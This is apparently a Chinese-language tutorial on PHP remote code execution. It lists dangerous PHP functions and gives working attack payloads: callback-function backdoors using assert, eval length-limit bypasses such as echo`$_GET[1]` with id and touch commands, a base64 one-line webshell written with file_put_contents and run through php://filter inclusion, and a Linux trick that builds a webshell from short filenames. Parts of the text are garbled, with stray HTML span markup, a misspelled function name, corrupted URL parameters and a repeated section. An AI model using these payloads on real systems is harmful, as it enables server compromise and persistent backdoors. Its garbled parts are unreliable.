目录
使用?param=echo$_GET[1];&1=id 来执行我们的命令
使用file_put_contents把文件写到系统后不断以base64编码的方式把命令写入
RCE
与sql注入的不同在于可以自由删除更改文件,在权限等级高的情况下可以添加删除用户,
在web应用开发中为了灵活性、整洁性等会让应用调用代码执行函数或系统命令执行函数处理,若对用户输入的过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。
相关函数
命令执行
在win上面可以用echo写入命令,用type来读命令
-
system():能够将字符串作为OS命令执行,且返回命令执行结果
-
exec():能够将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)
-
hell_exec():能将字符串作为OS命令执行
-
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
-
popen():打开进程文件指针
-
proc_open():与popen()类似
-
pcntl_exec():在当前进程空间执行指定程序;
反引号
:反引号
内的字符串会被解析为OS命令;
代码执行
-
eval():将字符串作为php代码执行;
-
assert():将字符串作为php代码执行;
-
preg_replace():正则匹配替换字符串;
-
create_function():主要创建匿名函数;
-
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
-
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
RCE回调后门绕过
什么是回调函数?
所谓的回调函数,就是指调用函数时并不是向函数中传递一个标准的变量作为参数,而是将另一个函数作为参数传递到调用的函数中,这个作为参数的函数就是回调函数,回调函数也是一个我们定义的函数,但是不是我们直接来调用的,而是通过另一个函数来调用,这个函数通过接受回调函数的名字和参数来实现对他的调用
回调后门就是必须包含回调函数和回调函数需要的参数的可利用的后门
回调函数
各种具有callable参数的函数我把他称为回调函数
-
call_user_func()
-
call_user_func_array() ---传递数组
-
array_filter()
-
array_map()
-
uasort()
-
uksort()
-
array_reduce()
-
array_udiff()
-
array_walk()
-
array_walk_recursive()
-
register_shutdown_function()
-
filter_var()
-
filter_var_array()
简单的回调后门
assert函数在php7版本被丢弃,注意要把php版本切换到5版本
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8"><?php
call_user_func('assert',$_REQUEST['Pass']);</span></span>
如下图我可以输入我想要的函数达到我想要的效果
这里可以不加分号,但是如果是用eval()就必须要分号,eval()在php中不是一个标准的函数所以不能使用get和post传参直接传进来
较难的回调后门
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">$e =$REQUEST[‘e’]; ---将assert的编码传入
$arr array($_POST[‘pass’],); ---我们想要执行的语句 例如phpinfo()
array_filter($arr,base64_decode($e));----将arr数组中的参数放到assert里面去执行</span></span>
eval长度限制突破方法
限制代码
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8"><?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}</span></span>
如何在长度限制在17的情况下拿到webshell
使用?param=echo$_GET[1]
;&1=id 来执行我们的命令
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">解释:_GET: 这部分代表了一个参数名,“param”,其值是 echo 后面跟随一个数组索引 $_GET,$_GET 是 PHP 中的一个超全局变量,用于接收 URL 端口传过来的参数。$_GET 表示访问者在地址栏中可能通过 “?1=value” 类似的格式传递的第一个参数。
;: 这是一个分隔符,表示参数之间的逻辑独立性。
&1=id: 表示让1=id,也就是把我们的系统命令传到了get参数里面</span></span>
我们也可以通过touch来创建一个脚本文件让执行我们的更多语句 ,也是创建成功了如下图
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">http://192.168.94.134/index.php?param=echo`$_GET[1]`;&1=touch%20/tmp/111.txt</span></span>
使用file_put_contents把文件写到系统后不断以base64编码的方式把命令写入
因为有些特殊字符如^<>?之类的无法在这个函数中显示所以要转成base64
-
N为文件名
-
P为写入的参数
-
8代表追加
-
因为c语言底层的file_put_contents的追加参数为8
-
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">foo.php?1=file_put_contents¶m=$_GET[1](N,P,8);
foo.php?1=file_put_contents¶m=$_GET[1](N,D,8);
foo.php?1=file_put_contents¶m=$_GET[1](N,w,8);
利用上述的方法把下面的代码一次写进N中
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */---一句话木马
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
再使用php伪协议的方式转成正常语句,再用文件包含执行</span></span>
usort(...$_GET);
通过数组不断传参输入
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">?1[]=test&1[]=phpinfo();&2=assert</span></span>
usort(...$_GET);
通过数组不断传参输入
?1[]=test&1[]=phpinfo();&2=assert
使用bs进行抓包然后把我们的后调函数写入
Linux命令长度限制突破方法
当我们被限制了linux系统命令的长度我们很多读取文件的命令变得无法执行
限制代码
<?php $param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param); }
shell_exec就是可以通过shell执行命令并完整的输出以字符串的方式返回
使用> 通过时间顺序把一句话木马通过文件名的方式创建然后执行
w>hp w>c.p\\ w>d\>\I w>\-\\ w>e64\ w>bas\ W>7\ w>XSK W>PD9 w>o\1 w>ech\\ 1s-t>0 sh 0
最后我们查看0文件 可以看到里面的一句话木马
最后可以看见我们创建了很多个文件,他们最终可以组成我们的一句话木马
▪w 长度最短的命令 ---w可以不写
▪ls -t 以创建时间来列出当前目录下所有文件
▪文件列表以[换行符]分割每个文件
▪引入 \
转义ls时的换行
▪换行不影响命令执行
▪成功构造任意命令执行,写入Webshell
无字母数字webshell命令执行
通过使用十六进制的反码可以执行我们的命令